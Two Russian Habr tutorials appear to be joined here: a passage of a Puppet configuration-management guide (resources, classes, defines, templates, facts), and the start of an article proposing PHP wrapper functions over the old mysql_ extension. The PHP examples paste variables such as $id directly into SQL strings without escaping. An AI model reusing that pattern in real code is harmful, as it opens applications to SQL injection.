* **status** — команда для проверки статуса сервиса
* **hasrestart** — указать, поддерживает ли инитскрипт сервиса перезапуск. Если `false` и указан параметр **restart** — используется значение этого параметра. Если `false` и параметр **restart** не указан — сервис останавливается и запускается для перезапуска (но в systemd используется команда `systemctl restart`).
* **hasstatus** — указать, поддерживает ли инитскрипт сервиса команду `status`. Если `false`, то используется значение параметра **status**. По умолчанию `true`.
### exec
Запускает внешние команды. Если не указывать параметры **creates**, **onlyif**, **unless** или **refreshonly**, команда будет запускаться при каждом прогоне Паппета. Умеет обрабатывать уведомления — запускает команду.
Параметры:
* **название ресурса** — команда, которую нужно выполнить (опционально)
* **command** — команда, которую нужно выполнить (если она не задана в названии)
* **path** — пути, в которых искать исполняемый файл
* **onlyif** — если указанная в этом параметре команда завершилась с нулевым кодом возврата, основная команда будет выполнена
* **unless** — если указанная в этом параметре команда завершилась с ненулевым кодом возврата, основная команда будет выполнена
* **creates** — если указанный в этом параметре файл не существует, основная команда будет выполнена
* **refreshonly** — если `true`, то команда будет запущена только в том случае, когда этот exec получает уведомление от других ресурсов
* **cwd** — директория, из которой запускать команду
* **user** — пользователь, от которого запускать команду
* **provider** — с помощью чего запускать команду:
+ **posix** — просто создаётся дочерний процесс, обязательно указывать **path**
+ **shell** — команда запускается в шелле `/bin/sh`, можно не указывать **path**, можно использовать глоббинг, пайпы и прочие фичи шелла. Обычно определяется автоматически, если есть всякие спецсимволы (`|`, `;`, `&&`, `||` и так далее).
### cron
Управляет кронджобами.
Параметры:
* **название ресурса** — просто какой-то идентификатор
* **ensure** — состояние кронджоба:
+ `present` — создать, если не существует
+ `absent` — удалить, если существует
* **command** — какую команду запускать
* **environment** — в каком окружении запускать команду (список переменных окружения и их значений через `=`)
* **user** — от какого пользователя запускать команду
* **minute**, **hour**, **weekday**, **month**, **monthday** — когда запускать крон. Если какой-то из этих аттрибутов не указан, его значением в кронтабе будет `*`.
В Puppet 6.0 **cron** как бы [удалили из коробки](https://puppet.com/docs/puppet/latest/type.html#puppet-60-type-changes) в puppetserver, поэтому нет документации на общем сайте. Но он [есть в коробке](https://puppet.com/docs/puppet/latest/type.html#supported-type-modules-in-puppet-agent) в puppet-agent, поэтому ставить его отдельно не надо. Документацию по нему можно посмотреть [в документации к пятой версии Паппета](https://puppet.com/docs/puppet/5.5/types/cron.html), либо [на Гитхабе](https://github.com/puppetlabs/puppetlabs-cron_core/blob/master/REFERENCE.md).
Про ресурсы в общем
===================
### Требования к уникальности ресурсов
Самая частая ошибка, с которой мы встречаемся — **Duplicate declaration**. Эта ошибка возникает, когда в каталог попадают два и более ресурса одинакового типа с одинаковым названием.
Поэтому ещё раз напишу: **в манифестах для одной ноды не должно быть ресурсов одинакового типа с одинаковым названием (title)!**
Иногда есть необходимость поставить пакеты с одинаковым названием, но разными пакетными менеджерами. В таком случае нужно пользоваться параметром `name`, чтобы избежать ошибки:
```
package { 'ruby-mysql':
ensure => installed,
name => 'mysql',
provider => 'gem',
}
package { 'python-mysql':
ensure => installed,
name => 'mysql',
provider => 'pip',
}
```
В других типах ресурсов есть аналогичные параметры, помогающие избежать дубликации, — `name` у **service**, `command` у **exec**, и так далее.
### Метапараметры
Некоторые специальные параметры есть у каждого типа ресурса, независимо от его сущности.
Полный список метапараметров [в документации Puppet](https://puppet.com/docs/puppet/latest/metaparameter.html).
Краткий список:
* **require** — в этом параметре указывается, от каких ресурсов зависит данный ресурс.
* **before** — в этом параметре указывается, какие ресурсы зависят от данного ресурса.
* **subscribe** — в этом параметре указывается, от каких ресурсов получает уведомления данный ресурс.
* **notify** — в этом параметре указывается, какие ресурсы получают уведомления от данного ресурса.
Все перечисленные метапараметры принимают либо одну ссылку на ресурс, либо массив ссылок в квадратных скобках.
### Ссылки на ресурсы
Ссылка на ресурс — это просто упоминание ресурса. Используются они в основном для указания зависимостей. Ссылка на несуществующий ресурс вызовет ошибку компиляции.
Синтаксис у ссылки следующий: тип ресурса с большой буквы (если в названии типа содержатся двойные двоеточия, то с большой буквы пишется каждая часть названия между двоеточиями), дальше в квадратных скобках название ресурса (регистр названия не меняется!). Пробелов быть не должно, квадратные скобки пишутся сразу после названия типа.
Пример:
```
file { '/file1': ensure => present }
file { '/file2':
ensure => directory,
before => File['/file1'],
}
file { '/file3': ensure => absent }
File['/file1'] -> File['/file3']
```
### Зависимости и уведомления
[Документация здесь.](https://puppet.com/docs/puppet/latest/lang_relationships.html)
Как уже было сказано ранее, простые зависимости между ресурсами транзитивны. Кстати, будьте внимательны при проставлении зависимостей — можно сделать циклические зависимости, что вызовет ошибку компиляции.
В отличие от зависимостей, уведомления не транзитивны. Для уведомлений действуют следующие правила:
* Если ресурс получает уведомление, он обновляется. Действия при обновлении зависят от типа ресурса — **exec** запускает команду, **service** перезапускает сервис, **package** переустанавливает пакет. Если для ресурса не определено действие при обновлении, то ничего не происходит.
* За один прогон Паппета ресурс обновляется не больше одного раза. Это возможно, так как уведомления включают в себя зависимости, а граф зависимостей не содержит циклов.
* Если Паппет меняет состояние ресурса, то ресурс отправляет уведомления всем подписанным на него ресурсам.
* Если ресурс обновляется, то он отправляет уведомления всем подписанным на него ресурсам.
### Обработка неуказанных параметров
Как правило, если у какого-то параметра ресурса нет значения по умолчанию и этот параметр не указан в манифесте, то Паппет не будет менять это свойство у соответствующего ресурса на ноде. Например, если у ресурса типа **file** не указан параметр `owner`, то Паппет не будет менять владельца у соответствующего файла.
Знакомство с классами, переменными и дефайнами
==============================================
Предположим, у нас несколько нод, на которых есть одинаковая часть конфигурации, но есть и различия — иначе мы могли бы описать это всё в одном блоке `node {}`. Конечно, можно просто скопировать одинаковые части конфигурации, но в общем случае это плохое решение — конфигурация разрастается, при изменении общей части конфигурации придётся править одно и то же во множестве мест. При этом легко ошибиться, ну и вообще принцип DRY (don’t repeat yourself) не просто так придумали.
Для решения такой проблемы есть такая конструкция, как **класс**.
### Классы
[Класс](https://puppet.com/docs/puppet/latest/lang_classes.html) — это именованный блок паппет-кода. Классы нужны для переиспользования кода.
Сначала класс нужно описать. Само по себе описание не добавляет никуда никакие ресурсы. Класс описывается в манифестах:
```
# Описание класса начинается с ключевого слова class и его названия.
# Дальше идёт тело класса в фигурных скобках.
class example_class {
...
}
```
После этого класс можно использовать:
```
# первый вариант использования — в стиле ресурса с типом class
class { 'example_class': }
# второй вариант использования — с помощью функции include
include example_class
# про отличие этих двух вариантов будет рассказано дальше
```
Пример из предыдущей задачи — вынесем установку и настройку nginx в класс:
```
class nginx_example {
package { 'nginx':
ensure => installed,
}
-> file { '/etc/nginx':
ensure => directory,
source => 'puppet:///modules/example/nginx-conf',
recure => true,
purge => true,
force => true,
}
~> service { 'nginx':
ensure => running,
enable => true,
}
}
node 'server2.testdomain' {
include nginx_example
}
```
### Переменные
Класс из предыдущего примера совсем не гибок, потому что он всегда приносит одну и ту же конфигурацию nginx. Давайте сделаем так, чтобы путь к конфигурации стал переменным, тогда этот класс можно будет использовать для установки nginx с любой конфигурацией.
Это можно сделать [с помощью переменных](https://puppet.com/docs/puppet/latest/lang_variables.html).
**Внимание: переменные в Puppet неизменяемые!**
Кроме того, обращаться к переменной можно только после того, как её объявили, иначе значением переменной окажется `undef`.
Пример работы с переменными:
```
# создание переменных
$variable = 'value'
$var2 = 1
$var3 = true
$var4 = undef
# использование переменных
$var5 = $var6
file { '/tmp/text': content => $variable }
# интерполяция переменных — раскрытие значения переменных в строках. Работает только в двойных кавычках!
$var6 = "Variable with name variable has value ${variable}"
```
В Puppet есть **пространства имён**, а у переменных, соответственно, есть **область видимости**: переменная с одним и тем же именем может быть определена в разных пространствах имён. При разрешении значения переменной переменная ищется в текущем неймспейсе, потом в объемлющем, и так далее.
Примеры пространства имён:
* глобальное — туда попадают переменные вне описания класса или ноды;
* пространство имён ноды в описании ноды;
* пространство имён класса в описании класса.
Чтобы избежать неоднозначности при обращении к переменной, можно указывать пространство имён в имени переменной:
```
# переменная без пространства имён
$var
# переменная в глобальном пространстве имён
$::var
# переменная в пространстве имён класса
$classname::var
$::classname::var
```
Договоримся, что путь к конфигурации nginx лежит в переменной `$nginx_conf_source`. Тогда класс будет выглядеть следующим образом:
```
class nginx_example {
package { 'nginx':
ensure => installed,
}
-> file { '/etc/nginx':
ensure => directory,
source => $nginx_conf_source, # здесь используем переменную вместо фиксированной строки
recure => true,
purge => true,
force => true,
}
~> service { 'nginx':
ensure => running,
enable => true,
}
}
node 'server2.testdomain' {
$nginx_conf_source = 'puppet:///modules/example/nginx-conf'
include nginx_example
}
```
Однако приведённый пример плох тем, что есть некое «тайное знание» о том, что где-то внутри класса использует переменная с таким-то именем. Гораздо более правильно сделать это знание общим — у классов могут быть параметры.
**Параметры класса** — это переменные в пространстве имён класса, они задаются в заголовке класса и могут быть использованы как обычные переменные в теле класса. Значения параметров указывается при использовании класса в манифесте.
Параметру можно задать значение по умолчанию. Если у параметра нет значения по умолчанию и значение не задано при использовании, это вызовет ошибку компиляции.
Давайте параметризуем класс из примера выше и добавим два параметра: первый, обязательный — путь к конфигурации, и второй, необязательный — название пакета с nginx (в Debian, например, есть пакеты `nginx`, `nginx-light`, `nginx-full`).
```
# переменные описываются сразу после имени класса в круглых скобках
class nginx_example (
$conf_source,
$package_name = 'nginx-light', # параметр со значением по умолчанию
) {
package { $package_name:
ensure => installed,
}
-> file { '/etc/nginx':
ensure => directory,
source => $conf_source,
recurse => true,
purge => true,
force => true,
}
~> service { 'nginx':
ensure => running,
enable => true,
}
}
node 'server2.testdomain' {
# если мы хотим задать параметры класса, функция include не подойдёт* — нужно использовать resource-style declaration
# *на самом деле подойдёт, но про это расскажу в следующей серии. Ключевое слово "Hiera".
class { 'nginx_example':
conf_source => 'puppet:///modules/example/nginx-conf', # задаём параметры класса точно так же, как параметры для других ресурсов
}
}
```
В Puppet переменные типизированы. Есть [много типов данных](https://puppet.com/docs/puppet/latest/lang_data.html). Типы данных обычно используются для валидации значений параметров, передаваемых в классы и дефайны. Если переданный параметр не соответствует указанному типу, произойдёт ошибка компиляции.
Тип пишется непосредственно перед именем параметра:
```
class example (
String $param1,
Integer $param2,
Array $param3,
Hash $param4,
Hash[String, String] $param5,
) {
...
}
```
### Классы: include classname vs class{'classname':}
Каждый класс является ресурсом типа **class**. Как и в случае с любыми другими типами ресурсов, на одной ноде не может присутствовать два экземпляра одного и того же класса.
Если попробовать добавить класс на одну и ту же ноду два раза с помощью `class { 'classname':}` (без разницы, с разными или с одинаковыми параметрами), будет ошибка компиляции. Зато в случае использования класса в стиле ресурса можно тут же в манифесте явно задать все его параметры.
Однако если использовать `include`, то класс можно добавлять сколько угодно раз. Дело в том, что `include` — идемпотентная функция, которая проверяет, добавлен ли класс в каталог. Если класса в каталоге нет — добавляет его, а если уже есть, то ничего не делает. Но в случае использования `include` нельзя задать параметры класса во время объявления класса — все обязательные параметры должны быть заданы во внешнем источнике данных — Hiera или ENC. О них мы поговорим в следующей статье.
### Дефайны
Как было сказано в предыдущем блоке, один и тот же класс не может присутствовать на ноде более одного раза. Однако в некоторых случаях нужно иметь возможность применять один и тот же блок кода с разными параметрами на одной ноде. Иными словами, есть потребность в собственном типе ресурса.
Например, для того, чтобы установить модуль PHP, мы в Авито делаем следующее:
1. Устанавливаем пакет с этим модулем.
2. Создаём конфигурационный файл для этого модуля.
3. Создаём симлинк на конфиг для php-fpm.
4. Создаём симлинк на конфиг для php cli.
В таких случаях используется такая конструкция, как [**дефайн**](https://puppet.com/docs/puppet/latest/lang_defined_types.html) (define, defined type, defined resource type). Дефайн похож на класс, но есть отличия: во-первых, каждый дефайн является типом ресурса, а не ресурсом; во-вторых, у каждого дефайна есть неявный параметр `$title`, куда попадает имя ресурса при его объявлении. Так же как и в случае с классами, дефайн сначала нужно описать, после этого его можно использовать.
Упрощённый пример с модулем для PHP:
```
define php74::module (
$php_module_name = $title,
$php_package_name = "php7.4-${title}",
$version = 'installed',
$priority = '20',
$data = "extension=${title}.so\n",
$php_module_path = '/etc/php/7.4/mods-available',
) {
package { $php_package_name:
ensure => $version,
install_options => ['-o', 'DPkg::NoTriggers=true'], # триггеры дебиановских php-пакетов сами создают симлинки и перезапускают сервис php-fpm - нам это не нужно, так как и симлинками, и сервисом мы управляем с помощью Puppet
}
-> file { "${php_module_path}/${php_module_name}.ini":
ensure => $ensure,
content => $data,
}
file { "/etc/php/7.4/cli/conf.d/${priority}-${php_module_name}.ini":
ensure => link,
target => "${php_module_path}/${php_module_name}.ini",
}
file { "/etc/php/7.4/fpm/conf.d/${priority}-${php_module_name}.ini":
ensure => link,
target => "${php_module_path}/${php_module_name}.ini",
}
}
node server3.testdomain {
php74::module { 'sqlite3': }
php74::module { 'amqp': php_package_name => 'php-amqp' }
php74::module { 'msgpack': priority => '10' }
}
```
**В дефайне проще всего поймать ошибку Duplicate declaration.** Это происходит, если в дефайне есть ресурс с константным именем, и на какой-то ноде два и более экземпляра этого дефайна.
Защититься от этого просто: все ресурсы внутри дефайна должны иметь название, зависящее от `$title`. В качестве альтернативы — идемпотентное добавление ресурсов, в простейшем случае достаточно вынести общие для всех экземпляров дефайна ресурсы в отдельный класс и инклюдить этот класс в дефайне — функция `include` идемпотентна.
Есть и другие способы достигнуть идемпотентности при добавлении ресурсов, а именно использование функций `defined` и `ensure_resources`, но про это расскажу в следующей серии.
### Зависимости и уведомления для классов и дефайнов
Классы и дефайны добавляют следующие правила к обработке зависимостей и уведомлений:
* зависимость от класса/дефайна добавляет зависимости от всех ресурсов класса/дефайна;
* зависимость класса/дефайна добавляет зависимости всем ресурсам класса/дефайна;
* уведомление класса/дефайна уведомляет все ресурсы класса/дефайна;
* подписка на класс/дефайн подписывает на все ресурсы класса/дефайна.
Условные операторы и селекторы
==============================
[Документация здесь.](https://puppet.com/docs/puppet/latest/lang_conditional.html)
### if
Тут всё просто:
```
if ВЫРАЖЕНИЕ1 {
...
} elsif ВЫРАЖЕНИЕ2 {
...
} else {
...
}
```
### unless
unless — это if наоборот: блок кода будет выполнен, если выражение ложно.
```
unless ВЫРАЖЕНИЕ {
...
}
```
### case
Тут тоже ничего сложного. В качестве значений можно использовать обычные значения (строки, числа и так далее), регулярные выражения, а также типы данных.
```
case ВЫРАЖЕНИЕ {
ЗНАЧЕНИЕ1: { ... }
ЗНАЧЕНИЕ2, ЗНАЧЕНИЕ3: { ... }
default: { ... }
}
```
### Селекторы
Селектор — это языковая конструкция, похожая на `case`, только вместо выполнения блока кода она возвращает значение.
```
$var = $othervar ? { 'val1' => 1, 'val2' => 2, default => 3 }
```
Модули
======
Когда конфигурация маленькая, её легко можно держать в одном манифесте. Но чем больше конфигурации мы описываем, тем больше классов и нод становится в манифесте, он разрастается, с ним становится неудобно работать.
Кроме того, есть проблема переиспользования кода — когда весь код в одном манифесте, сложно этим кодом делиться с другими. Для решения этих двух проблем в Puppet есть такая сущность, как модули.
**Модули** — это наборы классов, дефайнов и прочих Puppet-сущностей, вынесенных в отдельную директорию. Иными словами, модуль — это независимый кусок Puppet-логики. Например, может быть модуль для работы с nginx, и в нём будет то и только то, что нужно для работы с nginx, а может быть модуль для работы с PHP, и так далее.
Модули версионируются, также поддерживаются зависимости модулей друг от друга. Есть открытый репозиторий модулей — [Puppet Forge](https://forge.puppet.com/).
На паппет-сервере модули лежат в поддиректории modules корневой директории. Внутри каждого модуля стандартная схема директорий — manifests, files, templates, lib и так далее.
### Структура файлов в модуле
В корне модуля могут быть следующие директории с говорящими названиями:
* `manifests` — в ней лежат манифесты
* `files` — в ней лежат файлы
* `templates` — в ней лежат шаблоны
* `lib` — в ней лежит Ruby-код
Это не полный список директорий и файлов, но для этой статьи пока достаточно.
### Названия ресурсов и имена файлов в модуле
[Документация здесь.](https://puppet.com/docs/puppet/latest/lang_namespaces.html)
Ресурсы (классы, дефайны) в модуле нельзя называть как угодно. Кроме того, есть прямое соответствие между названием ресурса и именем файла, в котором Puppet будет искать описание этого ресурса. Если нарушать правила именования, то Puppet просто не найдёт описание ресурсов, и получится ошибка компиляции.
Правила простые:
* Все ресурсы в модуле должны быть в неймспейсе модуля. Если модуль называется `foo`, то все ресурсы в нём должны называться `foo::`, либо просто `foo`.
* Ресурс с названием модуля должен быть в файле `init.pp`.
* Для остальных ресурсов схема именования файлов следующая:
+ префикс с именем модуля отбрасывается
+ все двойные двоеточия, если они есть, заменяются на слеши
+ дописывается расширение `.pp`
Продемонстрирую на примере. Предположим, я пишу модуль `nginx`. В нём есть следующие ресурсы:
* класс `nginx` описан в манифесте `init.pp`;
* класс `nginx::service` описан в манифесте `service.pp`;
* дефайн `nginx::server` описан в манифесте `server.pp`;
* дефайн `nginx::server::location` описан в манифесте `server/location.pp`.
Шаблоны
=======
Наверняка вы и сами знаете, что такое шаблоны, не буду расписывать здесь подробно. Но на всякий случай оставлю [ссылку на Википедию](https://en.wikipedia.org/wiki/Template_processor).
Как использовать шаблоны: значение шаблона можно раскрыть с помощью функции `template`, которой передаётся путь к шаблону. Для ресурсов типа **file** используем вместе с параметром `content`. Например, так:
```
file { '/tmp/example': content => template('modulename/templatename.erb')
```
Путь вида `/` подразумевает файл `/modules//templates/`.
Кроме того, есть функция `inline_template` — ей на вход передаётся текст шаблона, а не имя файла.
Внутри шаблонов можно использовать все переменные Puppet в текущей области видимости.
Puppet поддерживает шаблоны в формате ERB и EPP:
* [Документация EPP.](https://puppet.com/docs/puppet/latest/lang_template_epp.html)
* [Документация ERB.](https://puppet.com/docs/puppet/latest/lang_template_erb.html)
### Вкратце про ERB
Управляющие конструкции:
* `<%= ВЫРАЖЕНИЕ %>` — вставить значение выражения
* `<% ВЫРАЖЕНИЕ %>` — вычислить значение выражение (не вставляя его). Сюда обычный идут условные операторы (if), циклы (each).
* `<%# КОММЕНТАРИЙ %>`
Выражения в ERB пишутся на Ruby (собственно, ERB — это Embedded Ruby).
Для доступа к переменным из манифеста нужно дописать `@` к имени переменной. Чтобы убрать перевод строки, появляющийся после управляющей конструкции, нужно использовать закрывающий тег `-%>`.
### Пример использования шаблона
Предположим, я пишу модуль для управления ZooKeeper. Класс, отвечающий за создание конфига, выглядит примерно так:
```
class zookeeper::configure (
Array[String] $nodes,
Integer $port_client,
Integer $port_quorum,
Integer $port_leader,
Hash[String, Any] $properties,
String $datadir,
) {
file { '/etc/zookeeper/conf/zoo.cfg':
ensure => present,
content => template('zookeeper/zoo.cfg.erb'),
}
}
```
А соответствующий ему шаблон `zoo.cfg.erb` — так:
```
<% if @nodes.length > 0 -%>
<% @nodes.each do |node, id| -%>
server.<%= id %>=<%= node %>:<%= @port_leader %>:<%= @port_quorum %>;<%= @port_client %>
<% end -%>
<% end -%>
dataDir=<%= @datadir %>
<% @properties.each do |k, v| -%>
<%= k %>=<%= v %>
<% end -%>
```
Факты и встроенные переменные
=============================
Зачастую конкретная часть конфигурации зависит от того, что в данный момент происходит на ноде. Например, в зависимости от того, какой релиз Debian стоит, нужно установить ту или иную версию пакета. Можно следить за этим всем вручную, переписывая манифесты в случае изменения нод. Но это несерьёзный подход, автоматизация гораздо лучше.
Для получения информации о нодах в Puppet есть такой механизм, как факты. **Факты** — это информация о ноде, доступная в манифестах в виде обычных переменных в глобальном пространстве имён. Например, имя хоста, версия операционной системы, архитектура процессора, список пользователей, список сетевых интерфейсов и их адресов, и многое, многое другое. Факты доступны в манифестах и шаблонах как обычные переменные.
Пример работы с фактами:
```
notify { "Running OS ${facts['os']['name']} version ${facts['os']['release']['full']}": }
# ресурс типа notify просто выводит сообщение в лог
```
Если говорить формально, то у факта есть имя (строка) и значение (доступны различные типы: строки, массивы, словари). Есть [набор встроенных фактов](https://puppet.com/docs/puppet/latest/core_facts.html). Также можно писать собственные. Сборщики фактов описываются [как функции на Ruby](https://puppet.com/docs/puppet/latest/fact_overview.html), либо как [исполняемые файлы](https://puppet.com/docs/puppet/latest/external_facts.html). Также факты могут быть представлены в виде [текстовых файлов с данными](https://puppet.com/docs/puppet/latest/external_facts.html#structured-data-facts) на нодах.
Во время работы паппет-агент сначала копирует с паппетсервера на ноду все доступные сборщики фактов, после чего запускает их и отправляет на сервер собранные факты; уже после этого сервер начинает компиляцию каталога.
### Факты в виде исполняемых файлов
Такие факты кладутся в модули в директорию `facts.d`. Разумеется, файлы должны быть исполняемыми. При запуске они должны выводить на стандартный вывод информацию либо в формате YAML, либо в формате "ключ=значение".
Не забывайте, что факты распространяются на все ноды, которые находятся под управлением паппет-сервера, на который выкатывается ваш модуль. Поэтому в скрипте озаботьтесь проверкой того, что в системе есть все необходимые для работы вашего факта программы и файлы.
```
#!/bin/sh
echo "testfact=success"
```
```
#!/bin/sh
echo '{"testyamlfact":"success"}'
```
### Факты на Ruby
Такие факты кладутся в модули в директорию `lib/facter`.
```
# всё начинается с вызова функции Facter.add с именем факта и блоком кода
Facter.add('ladvd') do
# в блоках confine описываются условия применимости факта — код внутри блока должен вернуть true, иначе значение факта не вычисляется и не возвращается
confine do
Facter::Core::Execution.which('ladvdc') # проверим, что в PATH есть такой исполняемый файл
end
confine do
File.socket?('/var/run/ladvd.sock') # проверим, что есть такой UNIX-domain socket
end
# в блоке setcode происходит собственно вычисление значения факта
setcode do
hash = {}
if (out = Facter::Core::Execution.execute('ladvdc -b'))
out.split.each do |l|
line = l.split('=')
next if line.length != 2
name, value = line
hash[name.strip.downcase.tr(' ', '_')] = value.strip.chomp('\'').reverse.chomp('\'').reverse
end
end
hash # значение последнего выражения в блоке setcode является значением факта
end
end
```
### Текстовые факты
Такие факты кладутся на ноды в директорию `/etc/facter/facts.d` в старом Паппете или `/etc/puppetlabs/facts.d` в новом Паппете.
```
examplefact=examplevalue
```
```
---
examplefact2: examplevalue2
anotherfact: anothervalue
```
### Обращение к фактам
Обратиться к фактам можно двумя способами:
* через словарь `$facts`: `$facts['fqdn']`;
* используя имя факта как имя переменной: `$fqdn`.
Лучше всего использовать словарь `$facts`, а ещё лучше указывать глобальный неймспейс (`$::facts`).
[Вот нужный раздел документации.](https://puppet.com/docs/puppet/latest/lang_facts_accessing.html)
### Встроенные переменные
Кроме фактов, есть ещё [некоторые переменные](https://puppet.com/docs/puppet/latest/lang_facts_builtin_variables.html), доступные в глобальном пространстве имён.
* **trusted facts** — переменные, которые берутся из сертификата клиента (так как сертификат обычно выпускается на паппет-сервере, агент не может просто так взять и поменять свой сертификат, поэтому переменные и «доверенные»): название сертификата, имя хоста и домена, расширения из сертификата.
* **server facts** —переменные, относящиеся к информации о сервере — версия, имя, IP-адрес сервера, окружение.
* **agent facts** — переменные, добавляемые непосредственно puppet-agent'ом, а не facter'ом — название сертификата, версия агента, версия паппета.
* **master variables** — переменные паппетмастера (sic!). Там примерно то же самое, что в **server facts**, плюс доступны значения конфигурационных параметров.
* **compiler variables** — переменные компилятора, которые различаются в каждой области видимости: имя текущего модуля и имя модуля, в котором было обращение к текущему объекту. Их можно использовать, например, чтобы проверять, что ваши приватные классы не используют напрямую из других модулей.
Дополнение 1: как это всё запускать и дебажить?
===============================================
В статье было много примеров puppet-кода, но совсем не было рассказано, как же этот код запускать. Что ж, исправляюсь.
Для работы Puppet достаточно агента, но для большинства случаев нужен будет и сервер.
### Агент
Как минимум с пятой версии пакеты puppet-agent из [официального репозитория Puppetlabs](https://puppet.com/docs/puppet/latest/puppet_platform.html) содержат в себе все зависимости (ruby и соответствующие gem'ы), поэтому сложностей с установкой никаких нет (говорю про Debian-based дистрибутивы — RPM-based дистрибутивами мы не пользуемся).
В простейшем случае для применения puppet-конфигурации достаточно запустить агент в беcсерверном режиме: при условии, что puppet-код скопирован на ноду, запускаете `puppet apply <путь к манифесту>`:
```
atikhonov@atikhonov ~/puppet-test $ cat helloworld.pp
node default {
notify { 'Hello world!': }
}
atikhonov@atikhonov ~/puppet-test $ puppet apply helloworld.pp
Notice: Compiled catalog for atikhonov.localdomain in environment production in 0.01 seconds
Notice: Hello world!
Notice: /Stage[main]/Main/Node[default]/Notify[Hello world!]/message: defined 'message' as 'Hello world!'
Notice: Applied catalog in 0.01 seconds
```
Лучше, конечно, поднять сервер и запустить агенты на нодах в режиме демона — тогда раз в полчаса они будут применять конфигурацию, скачанную с сервера.
Можно имитировать push-модель работы — зайти на интересующую вас ноду и запустить `sudo puppet agent -t`. Ключ `-t` (`--test`) на самом деле включает несколько опций, которые можно включать и по отдельности. Среди этих опций следующие:
* не работать в режиме демона (по умолчанию агент запускается в режиме демона);
* завершить работу после применения каталога (по умолчанию агент продолжит работу и будет применять конфигурацию раз в полчаса);
* писать подробный лог работы;
* показывать изменения в файлах.
У агента есть режим работы без изменений — им можно пользоваться в случае, когда вы не уверены, что написали корректную конфигурацию, и хотите проверить, что именно поменяет агент во время работы. Включается этот режим параметром `--noop` в командной строке: `sudo puppet agent -t --noop`.
Кроме того, можно включить отладочный лог работы — в нём puppet пишет обо всех действиях, которые он производит: о ресурсе, который в данный момент обрабатывает, о параметрах этого ресурса, о том, какие программы запускает. Разумеется, это параметр `--debug`.
### Сервер
Полноценную настройку паппетсервера и деплой на него кода в этой статье я не буду рассматривать, скажу лишь, что из коробки ставится вполне работоспособная версия сервера, не требующая дополнительной настройки для работы в условиях небольшого количества нод (скажем, до ста). Большее количество нод уже потребует тюнинга — по умолчанию puppetserver запускает не больше четырёх воркеров, для большей производительности нужно увеличить их число и не забыть увеличить лимиты памяти, иначе большую часть времени сервер будет garbage collect'ить.
Деплой кода — если нужно быстро и просто, то смотрите (на r10k)[<https://github.com/puppetlabs/r10k>], для небольших инсталляций его вполне должно хватить.
Дополнение 2: рекомендации по написанию кода
============================================
1. Выносите всю логику в классы и дефайны.
2. Держите классы и дефайны в модулях, а не в манифестах с описанием нод.
3. Пользуйтесь фактами.
4. Не делайте if'ов по хостнеймам.
5. Не стесняйтесь добавлять параметры для классов и дефайнов — это лучше, чем неявная логика, спрятанная в теле класса/дефайна.
А почему я рекомендую так делать — объясню в следующей статье.
Заключение
==========
На этом закончим со введением. В следующей статье расскажу про Hiera, ENC и PuppetDB. | https://habr.com/ru/post/507346/ | null | ru | null |
# PHP+SQL начинающим: Повышаем уровень программирования.
Данная статья сугубо практическая и затрагивает единственный аспект – как повысить уровень програмирования в PHP при работе с SQL базой данных (в дальнейшем мы постараемся затронуть и другие аспекты программирования) Сразу же стоит оговориться, что есть высокий уровень программирования, дабы избежать лишних упреков. Под выским уровнем понимается достижение цели при минимальном и быстро получаемом коде (количества строк кода, символов в строке), даже если это идет в ущерб эффективности использования вычислительных ресурсов.
В настоящее время процессорное время, память и дисковое пространство стоит настолько дешево по сравнению с рабочим временем инженерного персонала, что им можно пренебрегать. Скорость разработки прикладной задачи гораздо важнее того, на сколько эффективно она работает. Если разработчик вместо 30 строк кода пишет только 10, то верятность ошибки снижется в три раза. Дальнейшее сопровождение и модификации более короткого кода тоже несомненно требует гораздо меньшего времени и человеческих ресурсов. Не забывайе, что мы не рассматриваем здесь системные решения, когда во главу угла ставится именно эффективность кода.
В данном статье мы создадим обертку для стандартной библиотеки PHP mysql. Не составит большого труда самостоятельно адаптировать ее для других баз данных. Это не будет попыткой создания ORM. У ORM совсем другие задачи, которые идут в разрез с нашей целью повысить уровень программирования и сократить код.
В качестве рабочего примера возьмем воображаемую таблицу данных пользователей следующей структуры:
> CREATE TABLE users (
>
> id int auto\_increment,
>
> category tinyint,
>
> name varchar(25),
>
> password char(32),
>
> email varchar(100)
>
> );
>
>
Напомним, что обычным способом получения данных из таблицы будет примерно такой:
> $result = mysql\_query(«SELECT \* FROM users»);
>
> $users = array();
>
> while ( $row=mysql\_fetch\_array($result) )
>
> {
>
> $users[] = $row;
>
> }
Что-то подсказывает, что такая конструкция из 5-6 строк повторяемая от раза к разу может (и должна!) быть заменена на более компактную. Понятно, что внутри цикла мы на самом деле можем производить какие-то более полезные действия, чем просто накопление массива. Здесь вступет в силу парадигма высокоуровневого програмирования, которая говорит, что не стоит смешивать в одно такое **системное** действие, как выборка результатов из ресурса базы данных с его **прикладным** использованием. Если вы даже могли бы и обойтись без массива $users, то теперь вам придется его получить и уже дальше работать с ним в режиме прикладной задачи.
Вводим новую функцию:
`$users = sql_get_rows("SELECT * FROM users");`
Ну вот и все. 5-6 строк кода, в которые еще надо вчитаться и понять, что они делают, заменены одной четкой и понятной строкой. Этот пример конечно чисто академический, на практике надо частенько как-то облагораживать получаемый результат. Например, мне хотелось бы получать напрямую доступ к строке с с заданным id. Рыскать по массиву в поисках нужного $users[‘id’] тоже не совсем правильно. Мы придусмотрели это:
`$users = sql_get_rows("SELECT * FROM users", 'id');`
Теперь в нашем массиве $users индексы идут не просто по порядку номеров, а соответствуют id данного пользователя. Мы пошли дальше и предусмотрели многомерные или лучше сказать древовидные массивы. Например вам нужно перечислить всех пользователей, но сгруппировав их по категориям. Пожалуйста:
`$users = sql_get_rows("SELECT * FROM users", 'category', 'id');`
Теперь рассмотрим частные случаи. Например вы знаете, что получите в результате всегда одну строку. Здесь мы предлагаем другую функцию:
`$user = sql_get_row("SELECT * FROM users WHERE id=$id");`
Почему другая функция. Ну во первых, если можно где-то ненароком повысить эффективность кода, то почему бы нет. Но это здесь не главное. Главное то, что человек, который будет читать этот код после вас, будет четко видеть, что результатом является одна строка. Кстати функция сама всегда добавляет в конце «LIMIT 1».
Ну и еще одна вырожденная функция:
`$qty = sql_get_value("SELECT count(*) FROM users");`
Как вы поняли, она возвращет единственную скалярную величину.
Для остальных запросов, которые не возвращают результата мы предусмотрели такую функцию:
`$id = sql_query("INSERT INTO users ...");
$qty = sql_query("DELETE FROM users WHERE email='' ");`
Заметьте, что на самом деле они тоже возвращают результат, и очень даже полезный. Для INSERT'а возвращется код auto\_increment’а. Для DELETE и UPDATE – количество обработанных строк. Осталось только заполнить пробелы в месте многоточия в примере выше. Там, как вы, понимаете должны стоять данные, которыми заполнаются поля.
